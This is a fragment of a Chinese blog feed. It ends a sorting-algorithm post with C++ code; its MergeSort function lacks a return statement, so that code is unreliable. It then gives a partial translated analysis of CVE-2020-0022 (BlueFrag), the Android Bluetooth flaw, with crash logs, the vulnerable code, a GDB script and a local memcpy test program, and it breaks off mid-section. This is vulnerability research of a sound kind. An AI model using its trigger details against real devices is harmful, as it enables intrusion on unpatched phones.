</span>{</span><br><span class="line"> <span class="keyword">int</span> len = <span class="built_in">array</span>.<span class="built_in">size</span>();</span><br><span class="line"> BuildMaxHeap(<span class="built_in">array</span>, len);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = len - <span class="number">1</span>; i > <span class="number">0</span>; i--) {</span><br><span class="line"> <span class="keyword">int</span> temp = <span class="built_in">array</span>[i];</span><br><span class="line"> <span class="built_in">array</span>[i] = <span class="built_in">array</span>[<span class="number">0</span>];</span><br><span class="line"> <span class="built_in">array</span>[<span class="number">0</span>] = temp;</span><br><span class="line"> AdjustDown(<span class="built_in">array</span>, <span class="number">0</span>, i);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">array</span>;</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">BuildMaxHeap</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> &<span class="built_in">array</span>, <span class="keyword">int</span> len)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = len / <span class="number">2</span> - <span class="number">1</span>; i >= <span class="number">0</span>; i--) {</span><br><span class="line"> AdjustDown(<span class="built_in">array</span>, i, len);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">AdjustDown</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> &<span class="built_in">array</span>, <span class="keyword">int</span> k, <span class="keyword">int</span> len)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> temp = <span class="built_in">array</span>[k];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = k * <span class="number">2</span> + <span class="number">1</span>; i < len; i = i * <span class="number">2</span> + <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">if</span> (i + <span class="number">1</span>< len && <span class="built_in">array</span>[i] < <span class="built_in">array</span>[i + <span class="number">1</span>]) { <span class="comment">// 判断子结点哪个大</span></span><br><span class="line"> i++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (temp >= <span class="built_in">array</span>[i]) { <span class="comment">// 比较根结点和较大的子结点</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">array</span>[k] = <span class="built_in">array</span>[i]; <span class="comment">// 把较大的子结点放在根结点的位置</span></span><br><span class="line"> k = i;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">array</span>[k] = temp;</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h2 id="归并排序-Merge-Sort"><a href="#归并排序-Merge-Sort" class="headerlink" title="归并排序(Merge Sort)"></a>归并排序(Merge Sort)</h2><p>归并排序基于一种全新的思想,即将两个或两个以上的有序表组合成一个新的有序表,假定有n个元素待排序,可以看作是n个有序表,然后两个两个归并,得到$\lceil n/2 \rceil$个长度为1或2的有序表,继续两两归并直到合并为一个长度为n的有序表,这种方法称为二路归并,如果是多个有序表归并则称为n路归并。</p><p>由于需要用到n个辅助空间,所以空间复杂度是O(n),每趟归并的时间复杂度是O(n),进行$\lceil log_2n \rceil$次归并,所以时间复杂度是O($n\log_2n$)$,因为排序不会改变相同元素的相对位置,所以是稳定的排序。</p><figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Sort</span>{</span></span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> Merge用来合并两个相邻的有序表</span></span><br><span class="line"><span class="comment"> 一个是temp,一个是array</span></span><br><span class="line"><span class="comment"> 合并结果存入结果数组array中</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">Merge</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> &temp, <span class="built_in">vector</span><<span class="keyword">int</span>> &<span class="built_in">array</span>, <span class="keyword">int</span> low, <span class="keyword">int</span> mid, <span class="keyword">int</span> high)</span></span>{</span><br><span class="line"> <span class="keyword">int</span> i = <span class="number">0</span>, j = <span class="number">0</span>, k = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i = low; i <= high; i ++){</span><br><span class="line"> temp[i] = <span class="built_in">array</span>[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span>(i = low, j = mid + <span class="number">1</span>, k = i; i <= mid && j <= high; k ++){</span><br><span class="line"> <span class="keyword">if</span>(temp[i] <= temp[j]){</span><br><span class="line"> <span class="built_in">array</span>[k] = temp[i ++];</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="built_in">array</span>[k] = temp[j ++];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span>(i <= mid){</span><br><span class="line"> <span class="built_in">array</span>[k ++] = temp[i ++];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span>(j <= high){</span><br><span class="line"> <span class="built_in">array</span>[k ++] = temp[j ++];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 实际的排序函数,用于递归</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">MergeSortTemp</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> &temp, <span class="built_in">vector</span><<span class="keyword">int</span>> &<span class="built_in">array</span>, <span class="keyword">int</span> low, <span class="keyword">int</span> high)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(low < high){</span><br><span class="line"> <span class="keyword">int</span> mid = (low + high) / <span class="number">2</span>;</span><br><span class="line"> MergeSortTemp(temp, <span class="built_in">array</span>, low, mid);</span><br><span class="line"> MergeSortTemp(temp, <span class="built_in">array</span>, mid + <span class="number">1</span>, high);</span><br><span class="line"> Merge(temp, <span class="built_in">array</span>, low, mid, high);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 排序函数的接口</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">MergeSort</span><span class="params">(<span class="built_in">vector</span><<span class="keyword">int</span>> <span class="built_in">array</span>)</span></span>{</span><br><span class="line"> <span class="function"><span class="built_in">vector</span><<span class="keyword">int</span>> <span class="title">temp</span><span class="params">(<span class="built_in">array</span>.<span class="built_in">size</span>(), <span class="number">0</span>)</span></span>; <span class="comment">// 创建一个辅助数组,初始化为0</span></span><br><span class="line"> MergeSortTemp(temp, <span class="built_in">array</span>, <span class="number">0</span>, <span class="built_in">array</span>.<span class="built_in">size</span>() - <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><h2 id="计数排序-Counting-Sort"><a href="#计数排序-Counting-Sort" class="headerlink" title="计数排序(Counting Sort)"></a>计数排序(Counting Sort)</h2><h2 id="桶排-Bucket-Sort"><a href="#桶排-Bucket-Sort" class="headerlink" title="桶排(Bucket Sort)"></a>桶排(Bucket Sort)</h2><h2 id="基数排序-Radix-Sort"><a href="#基数排序-Radix-Sort" class="headerlink" title="基数排序(Radix Sort)"></a>基数排序(Radix Sort)</h2>]]></content>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>Cve-2020-0022 简单分析记录</title>
<link href="/2020/02/24/cve-2020-0022-%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90%E8%AE%B0%E5%BD%95/"/>
<url>/2020/02/24/cve-2020-0022-%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>cve-2020-0022是安卓蓝牙模块的一个漏洞,出现在Bluedroid蓝牙协议栈的HCI层,影响安卓10以下的系统,<br>并在安卓10上造成DoS</p><h2 id="分析记录"><a href="#分析记录" class="headerlink" title="分析记录"></a>分析记录</h2><p>android内核调试环境搞不起来。。orz先把坑开了慢慢搞</p><p>国外公布了漏洞详情,给了一个没有ROP的exp,我翻译了一下文章</p><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><ul><li><a href="https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/">https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/</a></li><li><a href="https://mp.weixin.qq.com/s/MgttHkorVd5UrW1Cnlc5Xw">Android蓝牙子系统“BlueFrag”漏洞分析(CVE-2020-0022) 启明星辰</a></li><li><a href="https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android-cve-2020-0022/">https://insinuator.net/2020/02/critical-bluetooth-vulnerability-in-android-cve-2020-0022/</a></li><li><a href="https://akhozo.blogspot.com/2020/02/critical-android-bluetooth-flaw-cve.html?spref=tw">https://akhozo.blogspot.com/2020/02/critical-android-bluetooth-flaw-cve.html?spref=tw</a></li><li><a href="https://android.googlesource.com/platform/system/bt/+/3cb7149d8fed2d7d77ceaa95bf845224c4db3baf%5E%21/#F0">https://android.googlesource.com/platform/system/bt/+/3cb7149d8fed2d7d77ceaa95bf845224c4db3baf%5E%21/#F0</a></li><li><a href="https://source.android.com/security/bulletin/2020-02-01.html">https://source.android.com/security/bulletin/2020-02-01.html</a></li><li><a href="http://androidxref.com/8.1.0_r33/xref/system/bt/hci/src/packet_fragmenter.cc">http://androidxref.com/8.1.0_r33/xref/system/bt/hci/src/packet_fragmenter.cc</a></li><li>Bluetooth_Core_v4.2蓝牙官方文档</li></ul><h2 id="国外的分析文章翻译"><a href="#国外的分析文章翻译" class="headerlink" title="国外的分析文章翻译"></a>国外的分析文章翻译</h2><p>原文链接:<a href="https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/">CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag</a></p><p>蓝牙是移动设备的一个主要部分,智能机和智能手表/耳机通过蓝牙连接,但是有很多设备会默认接受附近的任何未授权设备的连接。蓝牙数据包会在蓝牙芯片(也叫控制器)中进行处理,然后传递给主机(Android,Linux等),因此蓝牙芯片的固件和主机的蓝牙子系统是黑客们想实现RCE的目标之一。</p><p>在大部分传统蓝牙的实现代码中,都有一个特性是通过蓝牙的ping进行应答。攻击者只需要知道蓝牙设备的地址,即使是目标设备设置为不可见,也通常会在收到通过地址的连接请求后接受连接,例如攻击者可以运行L2PING与目标建立一个L2CAP连接,发送ECHO请求。</p><p>接下来我们会讲解一个Android 9中蓝牙的zero-click近距离RCE的利用代码,CVE编号是CVE-2020-0022,在2019年11月3日报告该问题前,我们完成了最新版本的三星Galaxy S10e上拿到一个远程shell的全部步骤。这个漏洞的利用点在Android 10中仍然存在,但是我们在Bionic(Android的Libc)中用了另一个漏洞,让漏洞利用起来更容易了。这个漏洞在1.2.2020,A-143894715的安全补丁中被修复。这里有个完整的PoC的演示视频:</p><h3 id="前期工作"><a href="#前期工作" class="headerlink" title="前期工作"></a>前期工作</h3><p>通过SEEMOO实验室(德国的一个移动网络安全实验室)的开源项目<a href="https://github.com/seemoo-lab/internalblue">internalblue</a>,<a href="https://github.com/seemoo-lab/frankenstein">frankenstein</a>,我们花了很多时间去研究Braodcom的蓝牙固件,Internalblue是由Dennis Mant编写的,通过交互的方式来调试固件。在这个项目中通过逆向工程的方法来理解固件的工作细节。</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-15-33-14.png" alt=""></p><p>在进一步的分析中,我们构建了Frankenstein,用来仿真固件来进行fuzz。要实现固件仿真,一个关键部分是理解蓝牙核心调度器(BCS,Bluetooth Core Scheduler)。这个组件很有意思,它处理了数据包和payload的头部,并且管理实时任务(time-critical task)。这些低级功能无法通过主机来访问,甚至在固件本身的线程组件中也无法访问。通过访问BCS,我们甚至可以将原始的无线数据帧注入到仿真的固件中。</p><p>在Frankenstein的fuzz中,我们更关注的是在蓝牙配对前产生的漏洞。在协议部分我们发现了两个漏洞,一个在传统的蓝牙中,一个在低功耗的蓝牙(BLE,Bluetooth Low Energy)中。第一个堆溢出的漏洞是在蓝牙扫描结果(EIR,Extended Inquiry Result)的过程处理中产生,影响在2010-2018年构建的固件中,甚至可能更早<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11516">CVE-2019-11516</a>,我们在2019年4月向Broadcom提供了完整的RCE的PoC,在报告提交后,Broadcom表示他们已经知道这个问题,实际上最新的三星Galaxy S10e中有一个我们不知道的补丁,因为它刚发布。第二个堆溢出的漏洞影响蓝牙4.2后的所有的BLE分组数据单元(PDUs,Packet Data Units)。我们在2019年6月向Boardcom提供了PoC,它破坏了堆,但是遗漏了一个通过更多数据吞吐实现的原语。据我们所知,这个问题到2020年2月还没有修复。</p><p>在研究PoCs和如何将大量数据放入堆中的办法时,我们还研究了传统蓝牙的异步无连接数据包(ACL,Asynchronous Connection-Less)。它主要用于数据传输,如音乐流,数据共享或者更常见的L2CAP。在固件中,ACL的处理相对简单一些。还有更复杂的处理程序和专有协议扩展,比如Jiska Classen发现的链接管理协议(LMP,Link Management Protocol)的类型混淆漏洞<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19860">CVE-2018-19860</a></p><h3 id="Fuzzing-ACL"><a href="#Fuzzing-ACL" class="headerlink" title="Fuzzing ACL"></a>Fuzzing ACL</h3><p>本文中描述的这个漏洞是在ACL中触发的。我们对这个协议进行了Fuzz测试,对数据包的payload头和包进行了位翻转。最初的fuzzer是通过在固件中hook函数bcs_dmaRxEnable实现的。该函数由BCS ACL任务调用。bcs_dmaRxEnable能将无线数据帧复制到传输缓冲区,在此函数之前,数据包和payload头已经写入了相应的硬件寄存器中了。因此我们可以通过在传输之前就修改整个数据包,从而在固件中构建一个简单的蓝牙fuzz工具。</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-16-02-51.png" alt=""></p><p>在一开始的设置中,我们通过无线方式,在Linux主机上对Android设备运行L2PING,并且对蓝牙固件fuzzer中随机翻转头部的比特位。当我们试图崩溃蓝牙设备时,安卓的蓝牙守护进程却崩溃了。在日志中我们观察到几个这样的崩溃报告:</p><pre><code>pid: 14808, tid: 14858, name: HwBinder:14808_ >>> com.android.bluetooth <<<signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x79cde00000 x0 00000079d18360e1 x1 00000079cddfffcb x2 fffffffffff385ef x3 00000079d18fda60 x4 00000079cdd3860a x5 00000079d18360df x6 0000000000000000 x7 0000000000000000 x8 0000000000000000 x9 0000000000000000 x10 0000000000000000 x11 0000000000000000 x12 0000000000000000 x13 0000000000000000 x14 ffffffffffffffff x15 2610312e00000000 x16 00000079bf1a02b8 x17 0000007a5891dcb0 x18 00000079bd818fda x19 00000079cdd38600 x20 00000079d1836000 x21 0000000000000097 x22 00000000000000db x23 00000079bd81a588 x24 00000079bd819c60 x25 00000079bd81a588 x26 0000000000000028 x27 0000000000000041 x28 0000000000002019 x29 00000079bd819df0 sp 00000079bd819c50 lr 00000079beef4124 pc 0000007a5891ddd4backtrace: #00 pc 000000000001ddd4 /system/lib64/libc.so (memcpy+292) #01 pc 0000000000233120 /system/lib64/libbluetooth.so (reassemble_and_dispatch(BT_HDR*) [clone .cfi]+1408) #02 pc 000000000022fc7c /system/lib64/libbluetooth.so (BluetoothHciCallbacks::aclDataReceived(android::hardware::hidl_vec<unsigned char> const&)+144) [...]</code></pre><p>看起来似乎是reassemble_and_dispatch函数中的memcpy以负数长度执行了。memcpy的简单实现如下:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">memcpy</span><span class="params">(<span class="keyword">char</span> *dest; <span class="keyword">char</span> *src, <span class="keyword">size_t</span> *n)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">size_t</span> i=<span class="number">0</span>; i<n; i++)</span><br><span class="line"> dst[i] = src[i];</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>参数中的长度n的类型是size_t,是一个无符号整数,如果我们传一个负数n进去,它会因为补码表示法变成一个很大的正数,导致了memcpy在一个无限循环中不断复制内存,进而遇到一些未映射的内存而崩溃。</p><h3 id="L2CAP-分片"><a href="#L2CAP-分片" class="headerlink" title="L2CAP 分片"></a>L2CAP 分片</h3><p>蓝牙在不同的层中进行分段,在分析整个崩溃时,我们主要关注蓝牙控制器和主机之间传递的L2CAP数据包的分片。对于主机和蓝牙控制器之间的命令和配置,使用了主机控制接口(HCI,Host Controller Interface)。</p><p>L2CAP作为ACL包通过与HCI相同的UART(通用异步收发传输器,Universal Asynchronous Receiver/Transmitter)连接发送。它需要按照最大ACL数据包长度进行分割,在主机上的驱动程序进行固件初始化期间,HCI命令读取缓冲区大小,在Boardcom的芯片上这个长度是1021,主机的驱动程序在向固件发送数据包的时候需要按照这个大小限制来发送。同样的,固件也拒绝L2CAP的输入,因为这些输入没有被正确的按照大小分片。由于分片和重组都是在主机上,但是固件本身也有数据包的大小限制,所以L2CAP对于主机和蓝牙控制器的堆利用很有意思。</p><p>如果接收到的L2CAP数据包的长度大于缓冲区的最大长度1021,这个数据包会被重组,部分包保存在名为partial_packets的map中,使用连接句柄作为key。接着分配一个足够大的缓冲区来容纳最后的数据包,然后把接收到的数据复制到该缓冲区。最后接收到的分片的结尾保存在partial_packet->offset中。</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-16-23-37.png" alt=""></p><p>下面的包设置了一个延续标志,表明这是一个包的分片,它是ACL头连接句柄中的第12位,如果收到这样的一个包,包内容就会被复制到之前的偏移量。</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-16-24-55.png" alt=""></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">reassemble_and_dispatch</span><span class="params">(UNUSED_ATTR BT_HDR *packet)</span> </span>{</span><br><span class="line"> [...]</span><br><span class="line"> packet->offset = HCI_ACL_PREAMBLE_SIZE;</span><br><span class="line"> <span class="keyword">uint16_t</span> projected_offset =</span><br><span class="line"> partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);</span><br><span class="line"> <span class="keyword">if</span> (projected_offset ></span><br><span class="line"> partial_packet->len) { <span class="comment">// len stores the expected length</span></span><br><span class="line"> LOG_WARN(LOG_TAG,</span><br><span class="line"> <span class="string">"%s got packet which would exceed expected length of %d."</span></span><br><span class="line"> <span class="string">"Truncating."</span>,</span><br><span class="line"> __func__, partial_packet->len);</span><br><span class="line"> packet->len = partial_packet->len - partial_packet->offset;</span><br><span class="line"> projected_offset = partial_packet->len;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">memcpy</span>(partial_packet->data + partial_packet->offset,</span><br><span class="line"> packet->data + packet->offset, packet->len - packet->offset);</span><br><span class="line"></span><br><span class="line"> [...]</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个步骤导致了负长度的memcpy,如上面的代码所示,在某种情况下,我们得到了一个数据包,只剩下两个字节的缓冲区来接收,如果延续比预期的长,packet->length会被截断来避免缓冲区溢出,长度设置为要复制的字节数。</p><p>由于我们需要跳过HCI和ACL前导码,我们使用HCI_ACL_PREAMBLE_SIZE(4)作为包的偏移量,并且从要复制的字节数中减去它,导致了memcpy的负长度为-2。</p><h3 id="意料之外的Leak"><a href="#意料之外的Leak" class="headerlink" title="意料之外的Leak"></a>意料之外的Leak</h3><p>上述的bug似乎无法利用,因为我们得到了一个无限循环的memcpy,但是我们偶尔会在不同的位置产生crash,比如下列崩溃位于同一线程中,但是无法通过无限循环复制来解释。因此我们希望在某个地方找到另一个bug:</p><pre><code>pid: 14530, tid: 14579, name: btu message loo >>> com.android.bluetooth <<<signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7a9e0072656761 x0 0000007ab07d72c0 x1 0000007ab0795600 x2 0000007ab0795600 x3 0000000000000012 x4 0000000000000000 x5 0000007a9e816178 x6 fefeff7a3ac305ff x7 7f7f7f7f7fff7f7f x8 007a9e0072656761 x9 0000000000000000 x10 0000000000000020 x11 0000000000002000 x12 0000007aa00fc350 x13 0000000000002000 x14 000000000000000d x15 0000000000000000 x16 0000007b396f6490 x17 0000007b3bc46120 x18 0000007a9e81542a x19 0000007ab07d72c0 x20 0000007ab0795600 x21 0000007a9e817588 x22 0000007a9e817588 x23 000000000000350f x24 0000000000000000 x25 0000007ab07d7058 x26 000000000000008b x27 0000000000000000 x28 0000007a9e817588 x29 0000007a9e816340 sp 0000007a9e8161e0 lr 0000007a9fde0ca0 pc 0000007a9fe1a9a4backtrace: #00 pc 00000000003229a4 /system/lib64/libbluetooth.so (list_append(list_t*, void*) [clone .cfi]+52) #01 pc 00000000002e8c9c /system/lib64/libbluetooth.so (l2c_link_check_send_pkts(t_l2c_linkcb*, t_l2c_ccb*, BT_HDR*) [clone .cfi]+100) #02 pc 00000000002ea25c /system/lib64/libbluetooth.so (l2c_rcv_acl_data(BT_HDR*) [clone .cfi]+1236) [...]</code></pre><p>我们花了几个晚上来跟踪这些崩溃,并且修改了fuzz使其可以被重放。然而,通过重发数据包来重现这些有意思的崩溃是不可能的。调试期间的主要问题是我们没有使用地址清理器来编译Android。这会检测到任何内存损坏错误,因为它在一个随机位置崩溃前发生的。所以在经历一些失败后我们决定修改一些比特位,通过保持L2PING的payload不变,我们可以用它和响应包的payload进行比对,如果数据同时发生变化,则会损坏内存,但是不会导致崩溃。运行一段时间后我们得到了这样的错误响应:</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-27-15.png" alt=""></p><p>通过这种检测方法,我们就可以可靠地重放。下面的数据包分组可以触发:</p><pre><code>1. 剩余2字节用于延续的L2CAP数据包,包含A2. 延续比预期的2字节长的数据包,包含B</code></pre><p>在Android的Logcat中,我们可以看到以下错误消息:</p><pre><code>bt_hci_packet_fragmenter: reassemble_and_dispatch got packet which wouldexceed expected length of 147. Truncating.</code></pre><p>这个触发的错误看起来与上面的BUG很相似。注意,只有最后的字节被破坏了,包的开头仍然是正确的。这个情况不能用源码和我们目前所知道的来解释。直接的缓冲区溢出保持前两个字节不变或者以这种受控的方法来覆盖指针和偏移量都是不可能的。此时,我们决定在packet_fragmenter中设置断点,以观察包中数据的修改位置。我们用GDB脚本来调试,<code>reassemble_and_dispatch+1408</code>和<code>reassemble_and_dispatch+1104</code>是之前说的<code>reassemble_and_dispatch</code>中的两个<code>memcpy</code>。</p><pre><code>b reassemble_and_dispatchcommands; x/32x $x0; c; endb dispatch_reassembledcommands; x/i $lr; x/32x $x0; c; endb *(reassemble_and_dispatch+1408)commands; p $x0; p $x1;p $x2; c; endb *(reassemble_and_dispatch+1104)commands; p $x0; p $x1; p $x2; c; end</code></pre><p>对于第一个包含A的数据包,我们观察到以下日志。它按预期接收数据,第一个memcpy的长度为0x52字节触发。这个长度在包的内部BT_HDR结构中也是可见的,并且是正确的。ACL和L2CAP头文件中包含的长度比触发包重新组装的实际payload长2个字节。HCI头中的连接句柄是0x200b,表示连接句柄0x0b的开始包</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-38-40.png" alt=""></p><p>第二个包也在<code>reassemble_and_dispatch</code>中正确到达,并且连接句柄改为0x100b,表示它是一个延续包。memcpy的第三个参数是上面指出的0xfffffffffffffffe,即-2,由于memcpy把第三个参数看作无符号整数,所以这个memcpy将导致崩溃。</p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-40-33.png" alt=""></p><p>但显然程序继续运行,破坏了部分包的最后66个字节,被破坏的包被传递给<code>dispatch_reassembled</code></p><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-41-14.png" alt=""></p><h3 id="memwtf-2"><a href="#memwtf-2" class="headerlink" title="memwtf(,,-2);"></a>memwtf(,,-2);</h3><p>如果我们仔细研究一下<a href="https://android.googlesource.com/platform/bionic/+/refs/tags/android-9.0.0_r49/libc/arch-arm64/generic/bionic/memcpy_base.S">memcpy的实际实现</a>,就会发现它比上面显示的简单的字符级memcpy要复杂的多。复制整个内存字比复制单个字节要更加有效。这个实现更进一步,在将寄存器写入目标位置之前,用64字节的内存内容填充寄存器。这样实现起来更复杂,并且得考虑奇数长度和未对齐地址边缘的情况。</p><p>(ps.这部分可以参考<a href="https://bestwing.me/Android-8.1-memcpy-func.html">swing的博客</a>)</p><p>在这个memcpy实现中,存在一个对负长度的奇怪行为。当我们试图复制到目标缓冲区末尾的时候,我们用之前的第二个数据包覆盖L2Ping请求的最后66个字节。我们编写这个简短的PoC是为了测试memcpy的行为。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (argc < <span class="number">3</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"usage %s offset_dst offset_src\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> *src = <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line"> <span class="keyword">char</span> *dst = <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"src=%p\n"</span>, src);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"dst=%p\n"</span>, dst);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>; i<<span class="number">256</span>; i++) src[i] = i;</span><br><span class="line"> <span class="built_in">memset</span>(dst, <span class="number">0x23</span>, <span class="number">256</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>( dst + <span class="number">128</span> + atoi(argv[<span class="number">1</span>]),</span><br><span class="line"> src + <span class="number">128</span> + atoi(argv[<span class="number">2</span>]),</span><br><span class="line"> <span class="number">0xfffffffffffffffe</span> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Hexdump</span></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>; i<<span class="number">256</span>; i+=<span class="number">32</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%04x: "</span>, i);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> j=<span class="number">0</span>; j<<span class="number">32</span>; j++) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%02x"</span>, dst[i+j] & <span class="number">0xff</span>);</span><br><span class="line"> <span class="keyword">if</span> (j%<span class="number">4</span> == <span class="number">3</span>) <span class="built_in">printf</span>(<span class="string">" "</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-46-07.png" alt=""></p><p>该行为已在Unicorn中模拟aarch64 memcpy实现进行了分析。 相关代码如下所示:</p><pre><code>prfm PLDL1KEEP, [src]add srcend, src, countadd dstend, dstin, countcmp count, 16b.ls L(copy16) //Not taken as 0xfffffffffffffffe > 16cmp count, 96b.hi L(copy_long) //Taken as as 0xfffffffffffffffe > 96[...]L(copy_long):and tmp1, dstin, 15 //tmp1 = lower 4 bits of destinationbic dst, dstin, 15ldp D_l, D_h, [src]sub src, src, tmp1add count, count, tmp1 /* Count is now 16 too large. */ //It is not only too large //but might also be positive! //0xfffffffffffffffe + 0xe = 0xcldp A_l, A_h, [src, 16]stp D_l, D_h, [dstin]ldp B_l, B_h, [src, 32]ldp C_l, C_h, [src, 48]ldp D_l, D_h, [src, 64]!subs count, count, 128 + 16 /* Test and readjust count. */ //This will become negative againb.ls 2f //So this branch is taken[...]/* Write the last full set of 64 bytes. The remainder is at most 64bytes, so it is safe to always copy 64 bytes from the end even ifthere is just 1 byte left. *///This will finally corrupt -64...64 bytes and terminate2:ldp E_l, E_h, [srcend, -64]stp A_l, A_h, [dst, 16]ldp A_l, A_h, [srcend, -48]stp B_l, B_h, [dst, 32]ldp B_l, B_h, [srcend, -32]stp C_l, C_h, [dst, 48]ldp C_l, C_h, [srcend, -16]stp D_l, D_h, [dst, 64]stp E_l, E_h, [dstend, -64]stp A_l, A_h, [dstend, -48]stp B_l, B_h, [dstend, -32]stp C_l, C_h, [dstend, -16]ret</code></pre><p>因为我们处理的是一个非常大的count值(INT_MAX-2),它总是大于dst和src之间的距离。因此在我们的例子中,将永远不会调用_memcpy,这使得这个bug无法在Android 10上利用。</p><h3 id="泄露更多数据"><a href="#泄露更多数据" class="headerlink" title="泄露更多数据"></a>泄露更多数据</h3><p><img src="/images/cve-2020-0022-简单分析记录/2020-04-23-17-49-05.png" 